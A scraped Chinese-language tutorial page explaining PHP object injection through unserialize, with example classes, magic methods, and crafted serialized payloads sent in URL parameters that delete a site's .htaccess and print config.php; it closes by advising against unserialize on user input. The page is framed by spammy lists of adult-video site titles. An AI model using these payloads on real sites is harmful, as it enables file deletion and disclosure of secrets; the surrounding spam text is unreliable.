日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術(shù)文章
文章詳情頁

一文帶你搞懂PHP對象注入

瀏覽:292日期:2022-06-06 09:55:37
目錄
  • 背景
  • 漏洞案例
  • PHP類和對象
  • php magic方法
  • php對象序列化
  • 序列化magic函數(shù)
  • php對象注入
  • 常見的注入點
  • 其他的利用方法
  • 如何利用或者避免這個漏洞
  • 結(jié)論

背景

php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險,為了理解這個漏洞,請讀者具備基礎(chǔ)的php知識。

漏洞案例

如果你覺得這是個渣渣洞,那么請看一眼這個列表,一些被審計狗挖到過該漏洞的系統(tǒng),你可以發(fā)現(xiàn)都是一些耳熟能詳?shù)耐嬉猓ň蛧鈦碚f)

  • WordPress 3.6.1
  • Magento 1.9.0.1
  • Joomla 3.0.3
  • Ip board 3.3.5

除此之外等等一堆系統(tǒng),八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞,所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。

PHP類和對象

類和變量是非常容易理解的php概念,打個比方,下面的代碼在一個類中定義了一個變量和一個方法。

#!php
<?php
class TestClass
{
    // 一個變量
    public $variable = "This is a string";
    // 一個簡單的方法
    public function PrintVariable()
    {
echo $this->variable;
    }
}

// 創(chuàng)建一個對象
$object = new TestClass();
// 調(diào)用一個方法
$object->PrintVariable();
?>

php magic方法

php類可能會包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號“__”開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

這些函數(shù)在某些情況下會自動調(diào)用,比如:

__construct 當一個對象創(chuàng)建時調(diào)用 (constructor) __destruct 當一個對象被銷毀時調(diào)用 (destructor) __ toString當一個對象被當作一個字符串使用

為了更好的理解magic方法是如何工作的,讓我們添加一個magic方法在我們的類中。

#!php
<?php
class TestClass
{
    // 一個變量
    public $variable = "This is a string";

    // 一個簡單的方法
    public function PrintVariable()
   {
echo $this->variable . "<br />";
    }

    // Constructor
    public function __construct()
   {
echo "__construct <br />";
    }

    // Destructor
    public function __destruct()
   {
echo "__destruct <br />";
    }

    // Call
    public function __toString()
   {
return "__toString<br />";
    }
}
// 創(chuàng)建一個對象
//  __construct會被調(diào)用
$object = new TestClass();
// 創(chuàng)建一個方法
//  "This is a string" 這玩意會被輸出
$object->PrintVariable();
// 對象被當作一個字符串
//  __toString 會被調(diào)用
echo $object;
// End of PHP script
// php腳本要結(jié)束了, __destruct會被調(diào)用
?>

這個腳本會輸出這狗樣:

__construct 
This is a string 
__toString 
__destruct

php對象序列化

php允許保存一個對象方便以后重用,這個過程被稱為序列化,打個比方,你可以保存一個包含著用戶信息的對象方便等等重用。

為了序列化一個對象,你需要調(diào)用 “serialize”函數(shù),函數(shù)會返回一個字符串,當你需要用到這個對象的時候可以使用“unserialize”去重建對象。

讓我們在序列化丟進那個例子,看看序列化張什么樣。

</pre>
<pre>
#!php
<?php
// 某類
class User
{
    // 類數(shù)據(jù)
    public $age = 0;
    public $name = "";

    // 輸出數(shù)據(jù)
    public function PrintData()
    {
echo "User " . $this->name . " is " . $this->age
     . " years old. <br />";
    }
}
// 創(chuàng)建一個對象
$usr = new User();
// 設(shè)置數(shù)據(jù)
$usr->age = 20;
$usr->name = "John";
// 輸出數(shù)據(jù)
$usr->PrintData();
// 輸出序列化之后的數(shù)據(jù)
echo serialize($usr);
?>

它會輸出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的數(shù)據(jù)中 有 20和John,其中沒有任何跟類有關(guān)的東西,只有其中的數(shù)據(jù)被數(shù)據(jù)化。

為了使用這個對象,我們用unserialize重建對象。

#!php
<?php
// 某類
class User
{
    // Class data
    public $age = 0;
    public $name = "";

    // Print data
    public function PrintData()
    {
echo "User " . $this->name . " is " . $this->age . " years old. <br />";
    }
}
// 重建對象
$usr = unserialize("O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}");

// 調(diào)用PrintData 輸出數(shù)據(jù)
$usr->PrintData();
?>

這會輸出

User John is 20 years old

序列化magic函數(shù)

magic函數(shù)constructor (__construct)和 destructor (__destruct) 是會在對象創(chuàng)建或者銷毀時自動調(diào)用,其他的一些magic函數(shù)會在serialize 或者 unserialize的時候被調(diào)用。

__sleep magic方法在一個對象被序列化的時候調(diào)用。__wakeup magic方法在一個對象被反序列化的時候調(diào)用。

注意 __sleep 必須返回一個數(shù)組與序列化的變量名。

#!php
<?php
class Test
{
    public $variable = "BUZZ";
    public $variable2 = "OTHER";

    public function PrintVariable()
   {
echo $this->variable . "<br />";
    }

    public function __construct()
   {
echo "__construct<br />";
    }

    public function __destruct()
   {
echo "__destruct<br />";
    }

    public function __wakeup()
   {
echo "__wakeup<br />";
    }

    public function __sleep()
   {
echo "__sleep<br />";
return array("variable", "variable2");
    }
}

// 創(chuàng)建一個對象,會調(diào)用 __construct
$obj = new Test();

// 序列化一個對象,會調(diào)用 __sleep
$serialized = serialize($obj);

//輸出序列化后的字符串
print "Serialized: " . $serialized . <br />";
// 重建對象,會調(diào)用 __wakeup
$obj2 = unserialize($serialized);

//調(diào)用 PintVariable, 會輸出數(shù)據(jù) (BUZZ)
$obj2->PrintVariable();
// php腳本結(jié)束,會調(diào)用 __destruct 
?>

這玩意會輸出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我們創(chuàng)建了一個對象,序列化了它(然后__sleep被調(diào)用),之后用序列化對象重建后的對象創(chuàng)建了另一個對象,接著php腳本結(jié)束的時候兩個對象的__destruct都會被調(diào)用。

php對象注入

現(xiàn)在我們理解了序列化是如何工作的,我們該如何利用它?事實上,利用這玩意的可能性有很多種,關(guān)鍵取決于應(yīng)用程序的流程與,可用的類,與magic函數(shù)。

記住序列化對象的值是可控的。

你可能會找到一套web程序的源代碼,其中某個類的__wakeup 或者 __destruct and其他亂七八糟的函數(shù)會影響到web程序。

打個比方,我們可能會找到一個類用于臨時將日志儲存進某個文件,當__destruct被調(diào)用時,日志文件會被刪除。然后代碼張這狗樣。

#!php
<?php 

class LogFile
{
    // log文件名
    public $filename = "error.log";

    // 某代碼,儲存日志進文件
    public function LogData($text)
   {
echo "Log some data: " . $text . "<br />";
file_put_contents($this->filename, $text, FILE_APPEND);
    }

    // Destructor 刪除日志文件
    public function __destruct()
   {
echo "__destruct deletes "" . $this->filename . "" file. <br />";
unlink(dirname(__FILE__) . "/" . $this->filename);
    }
}
?>

某例子關(guān)于如何使用這個類

#!php
<?php
include "logfile.php";

// 創(chuàng)建一個對象
$obj = new LogFile();

// 設(shè)置文件名和要儲存的日志數(shù)據(jù)
$obj->filename = "somefile.log";
$obj->LogData("Test");

// php腳本結(jié)束啦,__destruct被調(diào)用,somefile.log文件被刪除。
?>

在其他的腳本,我們可能又恰好找到一個調(diào)用“unserialize”函數(shù)的,并且恰好變量是用戶可控的,又恰好是$_GET之類的什么玩意的。

#!php
<?php
include "logfile.php";

// ... 一些狗日的代碼和 LogFile 類 ...
// 簡單的類定義
class User
{
    // 類數(shù)據(jù)
    public $age = 0;
    public $name = "";

    // 輸出數(shù)據(jù)
    public function PrintData()
   {
echo "User " . $this->name . " is " . $this->age . " years old. <br />";
    }
}

// 重建 用戶輸入的 數(shù)據(jù)
$usr = unserialize($_GET["usr_serialized"]);
?>

你看,這個代碼調(diào)用了 “LogClass” 類,并且有一個 “unserialize” 值是我們可以注入的。

所以構(gòu)造類似這樣的東西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟發(fā)生了什么呢,因為輸入是可控的,所以我們可以構(gòu)造任意的序列化對象,比如:

#!php
<?php
$obj = new LogFile();
$obj->filename = ".htaccess";
echo serialize($obj) . "<br />";
?>

這個會輸出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

現(xiàn)在我們將構(gòu)造過后的序列化對象發(fā)送給剛才的腳本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

這會輸出

__destruct deletes ".htaccess" file.

現(xiàn)在 .htaccess 已經(jīng)被干掉了,因為腳本結(jié)束時 __destruct會被調(diào)用。不過我們已經(jīng)可以控制“LogFile”類的變量啦。

這就是漏洞名稱的由來:變量可控并且進行了unserialize操作的地方注入序列化對象,實現(xiàn)代碼執(zhí)行或者其他坑爹的行為。

雖然這不是一個很好的例子,不過我相信你可以理解這個概念,unserialize自動調(diào)用 __wakeup 和 __destruct,接著攻擊者可以控制類變量,并且攻擊web程序。

常見的注入點

先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決于程序邏輯。

打個比方,某用戶類定義了一個__toString為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€字符串輸出(echo $obj) ,而且其他類也可能定義了一個類允許__toString讀取某個文件。

#!php
<?php 
// … 一些include ...
class FileClass
{
    // 文件名
    public $filename = "error.log";

    //當對象被作為一個字符串會讀取這個文件
    public function __toString()
    {
return file_get_contents($this->filename);
    }
}

// Main User class
class User
{
    // Class data
    public $age = 0;
    public $name = "";

    // 允許對象作為一個字符串輸出上面的data
    public function __toString()
   {
return "User " . $this->name . " is " . $this->age . " years old. <br />";
    }
}

// 用戶可控
$obj = unserialize($_GET["usr_serialized"]);
// 輸出 __toString
echo $obj;
?>

so,我們構(gòu)造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我們用序列化調(diào)用 FileClass呢

我們創(chuàng)建利用代碼

#!php
<?php
$fileobj = new FileClass();
$fileobj->filename = "config.php";
echo serialize($fileobj);

?>

接著用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接著網(wǎng)頁會輸出 config.php的源代碼

#!php
<?php
     $private_data = 'MAGIC';
?>

ps:我希望這讓你能夠理解。

其他的利用方法

可能其他的一些magic函數(shù)海存在利用點:比如__call 會在對象調(diào)用不存在的函數(shù)時調(diào)用,__get 和 __set會在對象嘗試訪問一些不存在的類,變量等等時調(diào)用。

不過需要注意的是,利用場景不限于magic函數(shù),也有一些方式可以在一半的函數(shù)中利用這個漏洞,打個比方,一個模塊可能定義了一個叫g(shù)et的函數(shù)進行一些敏感的操作,比如訪問數(shù)據(jù)庫,這就可能造成sql注入,取決于函數(shù)本身的操作。

如何利用或者避免這個漏洞

別在任何用戶可控的地方使用“unserialize”,可以考慮“json_decode“

結(jié)論

雖然很難找到而且很難利用,但是這真的真的很嚴重,可以導致各種各樣的漏洞。

到此這篇關(guān)于一文帶你搞懂PHP對象注入的文章就介紹到這了,更多相關(guān)PHP對象注入內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標簽: PHP
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
久久亚洲人体| 亚洲尤物av| 视频一区二区中文字幕| 国产美女一区| 亚洲免费专区| 欧美亚洲人成在线| 久久精品网址| 久久久五月天| 久久av在线| 少妇精品久久久一区二区| 久久99影视| 91精品蜜臀一区二区三区在线 | 日韩大片在线| 水蜜桃久久夜色精品一区的特点| 美女在线视频一区| 天堂资源在线亚洲| 羞羞答答国产精品www一本| 亚洲日韩中文字幕一区| 青草国产精品| 精品视频一区二区三区在线观看| 日韩深夜视频| 亚洲精品少妇| 免费看av不卡| 国产精品腿扒开做爽爽爽挤奶网站| 国际精品欧美精品| 在线精品亚洲| 蜜臀精品久久久久久蜜臀| 国产精品观看| 久久精品国产68国产精品亚洲| 男女性色大片免费观看一区二区 | 麻豆精品av| 韩国精品主播一区二区在线观看| 99久久99久久精品国产片果冰| 天堂va蜜桃一区二区三区| 国产精品久久久久9999高清| 91精品电影| 中文字幕高清在线播放| 日韩av黄色在线| 日韩超碰人人爽人人做人人添| 久久99高清| 国产91在线精品| 国产欧美日韩精品一区二区免费 | 国产亚洲人成a在线v网站| 99久久九九| 国产成人精品一区二区三区在线| 天堂精品久久久久| 99re国产精品| 亚洲精品99| 亚洲精品一级二级| 日韩在线看片| 国产精品不卡| av免费不卡国产观看| 精品国产亚洲一区二区在线观看| 一区二区国产精品| 日韩精品91亚洲二区在线观看| 久久国产精品成人免费观看的软件| 日韩综合一区二区| 欧美~级网站不卡| 久久麻豆精品| 91久久久精品国产| 亚洲性视频h| 美女网站一区| 欧美日韩国产一区精品一区| 欧美综合另类| 亚洲欧美视频| 日本不卡高清视频| 欧美亚洲tv| 国产一区二区亚洲| 日韩欧美自拍| 红桃视频亚洲| 日韩激情av在线| 久久久久九九精品影院| 国产日韩欧美一区二区三区| 国产精品啊啊啊| 中文一区一区三区免费在线观 | 欧美一级二级三级视频| 日韩一区二区三区免费视频 | 99精品网站| 三级在线观看一区二区| 欧美自拍一区| 精品欧美一区二区三区在线观看| 91精品高清| 视频一区二区国产| 国产免费av一区二区三区| 国产理论在线| 亚洲尤物在线| 久久免费福利| 亚洲综合三区| 国产精品久久久久毛片大屁完整版| 精品久久97| 老牛国产精品一区的观看方式| 国产91一区| 亚洲手机在线| 国产精品亚洲四区在线观看| 91精品xxx在线观看| 视频在线观看国产精品| 国内精品美女在线观看| 日韩中文欧美| 亚洲无线观看| 日韩精品麻豆| 国产福利亚洲| 亚洲91网站| 国产在线成人| 日本а中文在线天堂| 91精品国产自产精品男人的天堂| 日韩大片在线| 久久精品网址| 日韩国产91| 男女激情视频一区| 韩国精品主播一区二区在线观看| 欧美午夜三级| 亚洲欧洲av| 国产精品hd| 亚洲伦乱视频| 国产成人精品三级高清久久91| 久久av在线| 欧美精品一线| 国产二区精品| 自拍日韩欧美| 欧美 日韩 国产一区二区在线视频 | 亚洲激情欧美| av中文字幕在线观看第一页| 久久精品999| 人人爱人人干婷婷丁香亚洲| 蜜臀av性久久久久蜜臀aⅴ四虎| 欧美不卡在线| 欧美在线资源| 香蕉国产精品| 免播放器亚洲一区| 亚洲深夜影院| 国产中文欧美日韩在线| 久久中文欧美| 日韩另类视频| 欧美精品激情| 蜜桃久久久久久久| 日韩精选在线| 日韩精品免费观看视频| 亚洲3区在线| 国产精品一区二区三区美女| 久久久久九九精品影院| 波多视频一区| 在线亚洲观看| 日韩精品三级| 麻豆久久久久久久| 亚洲综合在线电影| 欧美日韩视频| 欧美一区不卡| 蜜桃视频在线网站| 中文一区二区| 国产精品日本一区二区不卡视频 | 黄色网一区二区| 99精品视频在线观看免费播放| 伊人久久亚洲热| 人人精品久久| 国产在线|日韩| 日本在线视频一区二区| a国产在线视频| 综合亚洲自拍| 一本大道色婷婷在线| 蜜臀av亚洲一区中文字幕| 国产在线不卡一区二区三区| 亚洲欧美日本国产专区一区| 老牛国内精品亚洲成av人片| 成午夜精品一区二区三区软件| 9国产精品视频| 精品视频网站| 97久久超碰| 免费欧美一区| а√天堂8资源中文在线| 亚洲精品免费观看| 五月婷婷亚洲| 综合日韩av| 久久这里只有精品一区二区| 亚洲精品美女| 999国产精品视频| 精品视频免费| 国产精品片aa在线观看| 日韩在线播放一区二区| 中文在线а√天堂| 国产精品igao视频网网址不卡日韩| 亚洲一区二区成人| 亚洲激情黄色| 伊人成人在线视频| 久久国产日韩| 成人免费电影网址| 高清一区二区| 色欧美自拍视频| 精品欧美日韩精品| 欧美激情精品| 国产精品极品| 国产精品免费不| 欧美日韩黄网站| 奇米狠狠一区二区三区| 老色鬼久久亚洲一区二区| 欧美粗暴jizz性欧美20| 国产在线成人| 一区二区三区四区日韩| 蜜桃视频在线观看一区| 亚洲一区导航| 中文字幕av一区二区三区四区|